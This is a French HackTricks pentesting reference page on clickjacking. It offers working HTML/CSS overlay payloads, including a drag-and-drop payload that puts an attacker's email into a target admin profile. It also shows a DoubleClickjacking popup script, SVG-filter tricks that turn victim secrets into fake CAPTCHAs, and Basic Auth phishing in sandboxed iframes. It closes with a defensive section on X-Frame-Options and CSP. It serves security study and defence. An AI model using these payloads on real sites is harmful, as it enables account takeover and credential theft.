Clickjacking
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Qu’est-ce que le Clickjacking
Dans une attaque de Clickjacking, un utilisateur est trompé pour cliquer sur un élément d’une page web qui est soit invisible soit déguisé en un autre élément. Cette manipulation peut entraîner des conséquences inattendues pour l’utilisateur, comme le téléchargement de malware, la redirection vers des pages web malveillantes, la fourniture de credentials ou d’informations sensibles, des transferts d’argent ou l’achat en ligne de produits.
Astuce : préremplir des formulaires
Il est parfois possible de remplir la valeur des champs d’un formulaire en utilisant des paramètres GET lors du chargement d’une page. Un attaquant peut abuser de ce comportement pour remplir un formulaire avec des données arbitraires et envoyer le payload de clickjacking afin que l’utilisateur appuie sur le bouton Submit.
Remplir un formulaire avec Drag&Drop
Si vous avez besoin que l’utilisateur remplisse un formulaire mais que vous ne voulez pas lui demander directement d’entrer une information spécifique (comme l’email ou un mot de passe spécifique que vous connaissez), vous pouvez simplement lui demander de Drag&Drop quelque chose qui remplira les données contrôlées par vous, comme dans this example.
Payload de base
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Payload à plusieurs étapes
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Si vous avez identifié une XSS qui nécessite qu’un utilisateur clique sur un élément pour déclencher le XSS et que la page est vulnérable au Clickjacking, vous pouvez l’abuser pour tromper l’utilisateur afin qu’il clique sur le bouton/le lien.
Example:
Vous avez trouvé une self XSS dans certains détails privés du compte (détails que vous seul pouvez définir et lire). La page contenant le formulaire pour définir ces détails est vulnérable au Clickjacking et vous pouvez préremplir le formulaire avec les paramètres GET.
Un attaquant pourrait préparer une attaque de Clickjacking sur cette page en préremplissant le formulaire avec le XSS payload et en trompant l’utilisateur pour qu’il soumette le formulaire. Ainsi, lorsque le formulaire est soumis et que les valeurs sont modifiées, l’utilisateur exécutera le XSS.
DoubleClickjacking
Firstly explained in this post, cette technique demande à la victime de double-cliquer sur un bouton d’une page personnalisée placée à un emplacement spécifique, et utilise les différences de timing entre les événements mousedown et onclick pour charger la page de la victime pendant le double-clic afin que la victime clique en fait sur un bouton légitime dans la page cible.
An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18
A code example can be found in this page.
Warning
Cette technique permet de tromper l’utilisateur pour qu’il clique en un seul endroit sur la page victime en contournant toute protection contre le clickjacking. L’attaquant doit donc trouver des actions sensibles pouvant être réalisées en un seul clic, comme des invites OAuth acceptant des permissions.
Popup-based DoubleClickjacking (no iframes)
Certaines PoCs abandonnent complètement les iframes et maintiennent une popup d’arrière-plan alignée sous le curseur. La page de l’attaquant suit mousemove et utilise une petite popup (window.open) qui est déplacée avec moveTo() tant qu’elle est same-origin ; une fois alignée, elle est redirigée vers la target origin afin que le clic suivant atterrisse sur le vrai bouton. Parce que moveTo() cross‑origin est bloqué, la popup est brièvement naviguée vers un attacker origin pour le repositionnement, puis location/history.back() retourne vers la cible. Pour afficher la cible au moment du clic, l’attaquant peut rouvrir la popup avec le même window name pour la porter au premier plan sans changer l’URL.
<script>
let w;
onclick = () => {
if (!w) w = window.open('/shim', 'pj', 'width=360,height=240');
onmousemove = e => { try { w.moveTo(e.screenX, e.screenY); } catch {} };
// When ready, refocus the already-loaded popup
window.open('', 'pj');
};
</script>
SVG Filters / Cross-Origin Iframe UI Redressing
Les builds récents de Chromium/WebKit/Gecko permettent que le CSS filter:url(#id) soit appliqué à des iframes cross-origin. Les pixels rasterisés de l’iframe sont exposés au graphe de filtres SVG en tant que SourceGraphic, donc des primitives telles que feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, etc. peuvent déformer arbitrairement l’UI de la victime avant que l’utilisateur ne la voie, même si l’attaquant ne touche jamais le DOM. Un filtre simple de style Liquid-Glass ressemble à :
<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
- Primitives utiles :
feImagecharge des bitmaps de l’attaquant (p. ex., overlays, displacement maps) ;feFloodcrée des mattes de couleur constante ;feOffset/feGaussianBluraffinent les surbrillances ;feDisplacementMapréfracte/déforme le texte ;feComposite operator="arithmetic"implémente des calculs arbitraires par canal (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), suffisants pour augmenter le contraste, le masquage et les opérations AND/OR ;feTilerecadre et réplique des sondes de pixels ;feMorphologyagrandit/rétrécit les traits ;feColorMatrixdéplace la luma dans l’alpha pour construire des masques précis.
Distorquer des secrets en invites de type CAPTCHA
If a framable endpoint renders secrets (tokens, reset codes, API keys), the attacker can distort them so they resemble a CAPTCHA and coerce manual transcription:
<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>
Les pixels déformés trompent l’utilisateur en le faisant « résoudre » le captcha à l’intérieur de l’<input> contrôlé par l’attaquant dont le pattern impose le véritable secret de la victime.
Recontextualisation des saisies de la victime
Les filtres peuvent supprimer chirurgicalement le texte de placeholder/validation tout en conservant les frappes de l’utilisateur. Un flux de travail :
feComposite operator="arithmetic" k2≈4amplifie la luminosité de sorte que le texte d’aide gris se sature en blanc.feTilelimite la zone de travail au rectangle de l’input.feMorphology operator="erode"épaissit les glyphes sombres tapés par la victime et les stocke viaresult="thick".feFloodcrée une plaque blanche,feBlend mode="difference"avecthick, et un secondfeComposite k2≈100la transforme en un matte de luminance prononcé.feColorMatrixtransfère cette luminance dans l’alpha, etfeComposite in="SourceGraphic" operator="in"conserve uniquement les glyphes entrés par l’utilisateur.- Un autre
feBlend in2="white"plus une fine découpe donne une zone de texte propre, après quoi l’attaquant superpose ses propres labels HTML (p. ex. « Entrez votre e-mail ») tandis que l’iframe cachée continue d’appliquer la politique de mot de passe de l’origine de la victime.
Safari a du mal avec feTile ; le même effet peut être reproduit avec des mattes spatiaux construits à partir de feFlood + feColorMatrix + feComposite pour des payloads réservés à WebKit.
Sondes de pixels, logique et machines à états
En recadrant une région de 2–4 px avec feTile et en la mosaïquant à 100% du viewport, l’attaquant transforme la couleur échantillonnée en une texture plein-écran qui peut être seuillée en un masque booléen :
<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>
Pour des couleurs arbitraires, une référence feFlood (par ex., #0B57D0) plus feBlend mode="difference" et un autre composite arithmétique (k2≈100, k4 comme tolérance) produit du blanc uniquement lorsque le pixel échantillonné correspond à la teinte ciblée. En alimentant ces masques dans feComposite avec des k1..k4 ajustés on obtient des portes logiques : AND via k1=1, OR via k2=k3=1, XOR via feBlend mode="difference", NOT via un blend contre du blanc. En chaînant les portes on construit un additionneur complet dans le graphe de filtres, prouvant que le pipeline est fonctionnellement complet.
Les attaquants peuvent donc lire l’état de l’UI sans JavaScript. Exemples de booléens issus d’un workflow modal :
- D (dialog visible) : sonder un coin assombri et tester contre du blanc.
- L (dialog loaded) : sonder les coordonnées où le bouton apparaît une fois prêt.
- C (checkbox checked) : comparer le pixel de la case à cocher avec le bleu actif
#0B57D0. - R (red success/failure banner) : utiliser
feMorphologyet des seuils rouges à l’intérieur du rectangle de la bannière.
Chaque état détecté contrôle une bitmap d’overlay différente intégrée via feImage xlink:href="data:...". Masquer ces bitmaps avec D, L, C, R maintient les overlays synchronisés avec le vrai dialogue et fait parcourir à la victime des workflows multi-étapes (réinitialisations de mot de passe, validations, confirmations destructrices) sans jamais exposer le DOM.
iframe sandboxé Basic Auth dialog (no allow-popups)
Un iframe sandboxé sans allow-popups peut toujours afficher une HTTP Basic Authentication modal contrôlée par le navigateur lorsqu’un chargement retourne 401 avec WWW-Authenticate. La boîte est créée par la couche réseau/auth du navigateur (et non par les alert/prompt/confirm JS), donc les restrictions de popup dans le sandbox ne la suppriment pas. Si vous pouvez contrôler l’iframe via des scripts (p.ex., sandbox="allow-scripts") vous pouvez la naviguer vers n’importe quel endpoint émettant un challenge Basic Auth :
<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>
Une fois la réponse arrivée, le navigateur demande des identifiants même si les popups sont désactivés. Encadrer une origine de confiance avec ce truc permet le UI redress/phishing : des invites modales inattendues à l’intérieur d’un widget “sandboxed” peuvent tromper les utilisateurs ou déclencher les gestionnaires de mots de passe pour proposer des identifiants enregistrés.
Extensions de navigateur: DOM-based autofill clickjacking
En plus d’iframer les pages victimes, les attaquants peuvent cibler les éléments UI des extensions de navigateur injectés dans la page. Les gestionnaires de mots de passe affichent des dropdowns d’autofill près des inputs focalisés ; en focalisant un champ contrôlé par l’attaquant et en cachant/obstruant le dropdown de l’extension (opacité/overlay/astuces de couche supérieure), un clic contraint de l’utilisateur peut sélectionner un élément stocké et remplir des données sensibles dans des inputs contrôlés par l’attaquant. Cette variante ne nécessite aucune exposition iframe et fonctionne entièrement via manipulation du DOM/CSS.
Un cas réel : Dashlane a révélé un problème de clickjacking du dialogue passkey (août 2025) où XSS sur le domaine relying-party permettait à un attaquant de superposer du HTML sur le dialogue passkey de l’extension. Un clic sur l’élément de l’attaquant déclenchait la connexion passkey légitime (la passkey elle‑même n’est pas exposée), transformant effectivement un UI-redress en accès au compte si le RP est déjà vulnérable à l’injection de script.
- For concrete techniques and PoCs see: BrowExt - ClickJacking
Stratégies pour atténuer le Clickjacking
Défenses côté client
Les scripts exécutés côté client peuvent effectuer des actions pour prévenir le Clickjacking :
- S’assurer que la fenêtre de l’application est la fenêtre principale (top window).
- Rendre tous les frames visibles.
- Empêcher les clics sur les frames invisibles.
- Détecter et alerter les utilisateurs des tentatives potentielles de Clickjacking.
Cependant, ces scripts anti-frame (frame-busting) peuvent être contournés :
- Paramètres de sécurité des navigateurs : Certains navigateurs peuvent bloquer ces scripts en fonction de leurs paramètres de sécurité ou de l’absence de support JavaScript.
- HTML5 iframe
sandboxAttribute : Un attaquant peut neutraliser les scripts anti-frame en définissant l’attributsandboxavec les valeursallow-formsouallow-scriptssansallow-top-navigation. Cela empêche l’iframe de vérifier si elle est la top window, e.g.
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
Les valeurs allow-forms et allow-scripts permettent des actions à l’intérieur de l’iframe tout en désactivant la navigation de niveau supérieur. Pour assurer le fonctionnement prévu du site ciblé, des permissions supplémentaires comme allow-same-origin et allow-modals peuvent être nécessaires, selon le type d’attaque. Les messages de la console du navigateur peuvent indiquer quelles permissions autoriser.
Défenses côté serveur
X-Frame-Options
L’en-tête de réponse HTTP X-Frame-Options informe les navigateurs sur la légitimité d’afficher une page dans un <frame> ou <iframe>, aidant à prévenir Clickjacking :
X-Frame-Options: deny- Aucun domaine ne peut intégrer le contenu.X-Frame-Options: sameorigin- Seul le site courant peut intégrer le contenu.X-Frame-Options: allow-from https://trusted.com- Seul le ‘uri’ spécifié peut encadrer la page.- Notez les limitations : si le navigateur ne prend pas en charge cette directive, elle pourrait ne pas fonctionner. Certains navigateurs préfèrent la directive CSP frame-ancestors.
Content Security Policy (CSP) frame-ancestors directive
La directive frame-ancestors dans CSP est la méthode recommandée pour la protection contre Clickjacking :
frame-ancestors 'none'- Similaire àX-Frame-Options: deny.frame-ancestors 'self'- Similaire àX-Frame-Options: sameorigin.frame-ancestors trusted.com- Similaire àX-Frame-Options: allow-from.
Par exemple, le CSP suivant n’autorise l’encadrement que depuis le même domaine :
Content-Security-Policy: frame-ancestors 'self';
Further details and complex examples can be found in the frame-ancestors CSP documentation and Mozilla’s CSP frame-ancestors documentation.
Content Security Policy (CSP) with child-src and frame-src
La Content Security Policy (CSP) est une mesure de sécurité qui aide à prévenir Clickjacking et d’autres attaques d’injection de code en spécifiant quelles sources le navigateur doit autoriser à charger du contenu.
Directive frame-src
- Définit les sources valides pour les frames.
- Plus spécifique que la directive
default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Cette politique autorise les frames provenant de la même origine (self) et de https://trusted-website.com.
Directive child-src
- Introduite dans CSP niveau 2 pour définir les sources valides pour les web workers et les frames.
- Sert de mécanisme de repli pour frame-src et worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Cette politique autorise frames et workers depuis la même origine (self) et https://trusted-website.com.
Notes d’utilisation :
- Dépréciation : child-src est progressivement supprimé au profit de frame-src et worker-src.
- Comportement de repli : si frame-src est absent, child-src est utilisé comme repli pour les frames. Si les deux sont absents, default-src est utilisé.
- Définition stricte des sources : n’incluez que des sources de confiance dans les directives pour éviter toute exploitation.
Scripts JavaScript pour empêcher qu’une page soit encadrée
Bien que pas totalement infaillibles, les scripts JavaScript de prévention d’encadrement peuvent être utilisés pour empêcher une page web d’être encadrée. Exemple:
if (top !== self) {
top.location = self.location
}
Utilisation des Anti-CSRF Tokens
- Token Validation: Utilisez des anti-CSRF tokens dans les applications web pour vous assurer que les requêtes qui modifient l’état sont effectuées intentionnellement par l’utilisateur et non via une page Clickjacked.
Références
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
- DOM-based Extension Clickjacking (marektoth.com)
- SVG Filters - Clickjacking 2.0
- Iframe sandbox Basic Auth modal
- Chromestatus: Restrict sandboxed frame dialogs
- Chromium issue about sandboxed auth dialogs
- DoubleClickjacking PoC details (evil.blog)
- Dashlane passkey dialog clickjacking advisory
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


